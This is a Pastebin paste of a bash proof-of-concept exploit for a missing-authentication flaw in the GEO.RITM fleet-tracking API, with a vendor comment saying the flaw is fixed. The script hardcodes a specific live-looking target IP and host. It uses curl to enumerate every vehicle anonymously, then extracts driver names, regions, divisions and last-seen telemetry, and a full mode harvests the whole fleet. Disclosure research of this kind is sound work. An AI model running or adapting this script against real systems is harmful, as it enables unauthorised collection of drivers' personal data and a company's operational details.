Guest User

Untitled

a guest
Aug 8th, 2026
562
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.61 KB | None | 0 0
  1. #!/usr/bin/env bash
  2. #
  3. # GEO.RITM REST API — CWE-306 Missing Authentication PoC (read-only)
  4. # Demonstrates anonymous (unauthenticated) enumeration of the entire vehicle
  5. # fleet and disclosure of per-object attributes (division, region, driver PII,
  6. # vehicle type, status, last-seen telemetry) via the GEO.RITM REST API.
  7. # Affected endpoints (no auth filter): POST /restapi/objects/obj-import-ts/ (fleet
  8. # enumeration) and POST /restapi/objects/obj-groups/ (per-object attribute read).
  9. # The script is strictly READ-ONLY: only the two endpoints above are called,
  10. # enforced by a whitelist guard. No write/actuate endpoints (arm/disarm/out-set/
  11. # set-control-command/clearroutehistory) are ever invoked.
  12.  
  13. set -euo pipefail
  14.  
  15. TARGET="213.171.46.81:443"
  16. VHOST="ritm.avgust.com"
  17.  
  18. OUTDIR="$(cd "$(dirname "$0")" && pwd)/out"
  19. DEMO_IDS=(986 139 542 1390 1263)
  20. LIMIT=25
  21. DELAY="0.1"
  22. MODE="demo"
  23. CUSTOM_IDS=""
  24.  
  25. usage() {
  26.  cat <<EOF
  27. Usage: $0 [options]
  28.  
  29.  (no options)         demo mode: reads only ${DEMO_IDS[*]} — show output format
  30.  --target HOST[:PORT] connection address (default ${TARGET}); default port 443
  31.                       Host header stays ${VHOST} on any node
  32.  --limit N            read the first N objects from enumeration (default ${LIMIT})
  33.  --full               read the ENTIRE fleet
  34.  --ids "542 476"      read specific objectIds (space- or comma-separated)
  35.  --delay S            delay between requests, sec (default ${DELAY})
  36.  --out DIR            artifacts directory (default ${OUTDIR})
  37.  -h | --help          this help
  38. EOF
  39. }
  40.  
  41. while [[ $# -gt 0 ]]; do
  42.  case "$1" in
  43.    --target) TARGET="$2"; shift 2 ;;
  44.    --limit)  MODE="limit"; LIMIT="$2"; shift 2 ;;
  45.    --full)   MODE="full"; shift ;;
  46.    --ids)    MODE="ids"; CUSTOM_IDS="$2"; shift 2 ;;
  47.    --delay)  DELAY="$2"; shift 2 ;;
  48.    --out)    OUTDIR="$2"; shift 2 ;;
  49.    -h|--help) usage; exit 0 ;;
  50.    *) echo "Unknown option: $1" >&2; usage; exit 2 ;;
  51.  esac
  52. done
  53.  
  54. [[ "${TARGET}" == *:* ]] || TARGET="${TARGET}:443"
  55. BASE="https://${TARGET}/restapi"
  56.  
  57. mkdir -p "$OUTDIR"
  58. IDS_FILE="${OUTDIR}/objectids.json"
  59. FLEET_FILE="${OUTDIR}/fleet.json"
  60. RECORDS="${OUTDIR}/_records.ndjson"
  61.  
  62. ALLOWED_READ_EP="objects/obj-import-ts objects/obj-groups"
  63. ro_post() {
  64.  local ep="$1" body="$2"
  65.  case " ${ALLOWED_READ_EP} " in
  66.    *" ${ep} "*) : ;;
  67.    *) echo "DENIED: endpoint '${ep}' is not in the read-only allowlist. Aborting." >&2; exit 3 ;;
  68.  esac
  69.  curl -sk -m12 \
  70.    -H "Host: ${VHOST}" -H "Content-Type: application/json" \
  71.    -X POST -d "${body}" "${BASE}/${ep}/"
  72. }
  73.  
  74. stage1_enumerate() {
  75.  echo "[*] Stage 1: anonymous fleet enumeration — POST /restapi/objects/obj-import-ts/ {}" >&2
  76.  ro_post "objects/obj-import-ts" '{}' > "${IDS_FILE}"
  77.  local n
  78.  n="$(python3 -c 'import json,sys;print(len(json.load(open(sys.argv[1]))))' "${IDS_FILE}" 2>/dev/null || echo '?')"
  79.  echo "[+] Objects received: ${n} -> ${IDS_FILE}" >&2
  80. }
  81.  
  82. stage2_read() {
  83.  local ids=("$@")
  84.  echo "[*] Stage 2: reading data for ${#ids[@]} objects (obj-groups + importTs), delay ${DELAY}s" >&2
  85.  : > "${RECORDS}"
  86.  local oid ts groups i=0
  87.  for oid in "${ids[@]}"; do
  88.    i=$((i+1))
  89.    ts="$(python3 -c '
  90. import json,sys
  91. data=json.load(open(sys.argv[1])); oid=int(sys.argv[2])
  92. m=[x for x in data if x.get("id")==oid]
  93. print(m[0].get("importTs") if m else "null")
  94. ' "${IDS_FILE}" "${oid}" 2>/dev/null || echo null)"
  95.    groups="$(ro_post "objects/obj-groups" "{\"objectId\":${oid}}")"
  96.    [[ -z "${groups}" ]] && groups='[]'
  97.    OID="${oid}" TS="${ts}" GRPJSON="${groups}" python3 -c '
  98. import json,os,sys
  99. oid=int(os.environ["OID"])
  100. ts_raw=os.environ["TS"].strip()
  101. try: ts=json.loads(ts_raw)
  102. except Exception: ts=None
  103. try: groups=json.loads(os.environ["GRPJSON"])
  104. except Exception: groups=[]
  105. sys.stdout.write(json.dumps({"objectId":oid,"importTs":ts,"groups":groups},ensure_ascii=False)+"\n")
  106. ' >> "${RECORDS}"
  107.    printf '\r[+] read %d/%d (objectId=%s)   ' "${i}" "${#ids[@]}" "${oid}" >&2
  108.    sleep "${DELAY}"
  109.  done
  110.  echo >&2
  111.  python3 -c '
  112. import json,sys
  113. recs=[json.loads(l) for l in open(sys.argv[1]) if l.strip()]
  114. json.dump(recs, open(sys.argv[2],"w"), ensure_ascii=False, indent=1)
  115. ' "${RECORDS}" "${FLEET_FILE}"
  116.  rm -f "${RECORDS}"
  117.  echo "[+] Raw fleet data -> ${FLEET_FILE}" >&2
  118. }
  119.  
  120. render_py() {
  121.  python3 - "$1" <<'PY'
  122. import json, re, sys, time
  123.  
  124. fleet = json.load(open(sys.argv[1]))
  125. now_ms = time.time() * 1000
  126.  
  127. re_recycle = re.compile(r"recycle\s*bin|корзин|^\s*root\s*:", re.I)
  128. re_region  = re.compile(r"(област|обл\.|край|\bкр\.|республик|\bР\.\s?[А-ЯЁ]|округ|\bАО\b|Москва|Санкт-Петербург)", re.I)
  129. re_divis   = re.compile(r"(отдел|отделен|филиал|подразделен|участок|склад|\bбаза\b|логистик|управлен)", re.I)
  130. re_person  = re.compile(r"^[А-ЯЁ][а-яё]+\s+[А-ЯЁ]\.\s?[А-ЯЁ]\.?$|^[А-ЯЁ][а-яё]+\s+[А-ЯЁ][а-яё]+\s+[А-ЯЁ][а-яё]+$")
  131.  
  132. TYPE_RULES = [
  133.    (re.compile(r"автобус", re.I),                  "bus"),
  134.    (re.compile(r"трактор", re.I),                  "tractor"),
  135.    (re.compile(r"самосвал", re.I),                 "dump truck"),
  136.    (re.compile(r"погрузчик", re.I),                "loader"),
  137.    (re.compile(r"полуприцеп|прицеп", re.I),        "trailer"),
  138.    (re.compile(r"фургон", re.I),                   "van"),
  139.    (re.compile(r"спецтехник|спец\.|спецтранс", re.I), "special vehicle"),
  140.    (re.compile(r"грузов|\bгрузовой\b|\bАТ\b", re.I), "truck"),
  141.    (re.compile(r"легков|а/м", re.I),               "car"),
  142. ]
  143.  
  144. def gname(g):
  145.    if isinstance(g, dict):
  146.        for k in ("name", "groupName", "title"):
  147.            if g.get(k):
  148.                return str(g[k])
  149.        return json.dumps(g, ensure_ascii=False)
  150.    return str(g)
  151.  
  152. def detect_type(names):
  153.    for rx, label in TYPE_RULES:
  154.        if any(rx.search(n) for n in names):
  155.            return label
  156.    return "-"
  157.  
  158. def is_type(n):
  159.    return any(rx.search(n) for rx, _ in TYPE_RULES)
  160.  
  161. rows = []
  162. for o in fleet:
  163.    oid = o.get("objectId")
  164.    groups = o.get("groups") or []
  165.    if isinstance(groups, dict):
  166.        groups = [groups]
  167.    names = [gname(g) for g in groups] if isinstance(groups, list) else []
  168.  
  169.    recycled = any(re_recycle.search(n) for n in names)
  170.    names = [n for n in names if not re_recycle.search(n)]
  171.    status = "recycled (deleted)" if recycled else "-"
  172.  
  173.    vtype = detect_type(names)
  174.    driver = next((n for n in names if re_person.search(n)), "-")
  175.    names_org = [n for n in names if not is_type(n) and not re_person.search(n)]
  176.  
  177.    region = next((n for n in names_org if re_region.search(n)), "-")
  178.    div = next((n for n in names_org if re_divis.search(n)), None)
  179.    if div is None:
  180.        div = next((n for n in names_org if not re_region.search(n)), "-")
  181.  
  182.    ts = o.get("importTs")
  183.    try:
  184.        ts = float(ts)
  185.    except (TypeError, ValueError):
  186.        ts = 0
  187.    if ts and ts > 0:
  188.        last = time.strftime("%Y-%m-%d %H:%M", time.localtime(ts / 1000))
  189.        age = str(int((now_ms - ts) // 86400000))
  190.    else:
  191.        last, age = "no data", "-"
  192.  
  193.    rows.append((str(oid), vtype, div, region, driver, status, last, age))
  194.  
  195. hdr = ("objectId", "type", "division", "region", "driver", "status", "last seen", "age, days")
  196. sep = ("--------", "----", "--------", "------", "------", "------", "---------", "---------")
  197. print("\t".join(hdr))
  198. print("\t".join(sep))
  199. for r in rows:
  200.    print("\t".join(r))
  201. PY
  202. }
  203.  
  204. stage3_render() {
  205.  echo "[*] Stage 3: human-readable fleet table" >&2
  206.  echo >&2
  207.  render_py "${FLEET_FILE}" | column -t -s $'\t'
  208. }
  209.  
  210. select_ids() {
  211.  case "${MODE}" in
  212.    ids)
  213.      echo "${CUSTOM_IDS}" | tr ',' ' ' ;;
  214.    full)
  215.      python3 -c 'import json,sys;[print(x["id"]) for x in json.load(open(sys.argv[1]))]' "${IDS_FILE}" ;;
  216.    limit)
  217.      python3 -c 'import json,sys;[print(x["id"]) for x in json.load(open(sys.argv[1]))]' "${IDS_FILE}" | head -n "${LIMIT}" ;;
  218.    demo|*)
  219.      printf '%s\n' "${DEMO_IDS[@]}" ;;
  220.  esac
  221. }
  222.  
  223. main() {
  224.  stage1_enumerate
  225.  
  226.  mapfile -t IDS < <(select_ids)
  227.  if [[ "${#IDS[@]}" -eq 0 ]]; then
  228.    echo "Empty objectId list — nothing to read." >&2; exit 1
  229.  fi
  230.  if [[ "${MODE}" == "full" ]]; then
  231.    echo "[!] FULL RUN over ${#IDS[@]} objects. Ctrl-C to cancel. Starting in 3s..." >&2
  232.    sleep 3
  233.  fi
  234.  
  235.  stage2_read "${IDS[@]}"
  236.  stage3_render
  237.  
  238.  echo >&2
  239.  echo "[i] Result: an unauthenticated external client exfiltrated the fleet inventory" >&2
  240.  echo "    (division/region/activity) by objectId" >&2
  241. }
  242.  
  243. main
  244.  
Comments
  • NPORITM
    47 days
    # text 0.89 KB | 0 0
    1. Official response from NPO Ritm, the developer of GEO.RITM
    2.  
    3. Thank you for reporting this security vulnerability.
    4.  
    5. We confirm that the described vulnerability is known to us and has been addressed.
    6.  
    7. The vulnerability was also reported to the Russian Federal Service for Technical and Export Control (FSTEC Russia) and registered under identifier BDU:2026-11235.
    8.  
    9. Following our internal investigation, we confirmed the issue and implemented the necessary security fixes.
    10.  
    11. The vulnerability has been fixed on our hosted GEO.RITM server at geo.ritm.ru.
    12.  
    13. The fix is also included in GEO.RITM version 2.46, which is already available to our customers.
    14.  
    15. Customers operating their own GEO.RITM installations are advised to update to version 2.46.
    16.  
    17. We appreciate the efforts of the security research community in helping improve the security of our products.
    18.  
    19. NPO Ritm
    20. https://www.ritm.ru/
Add Comment
Please, Sign In to add comment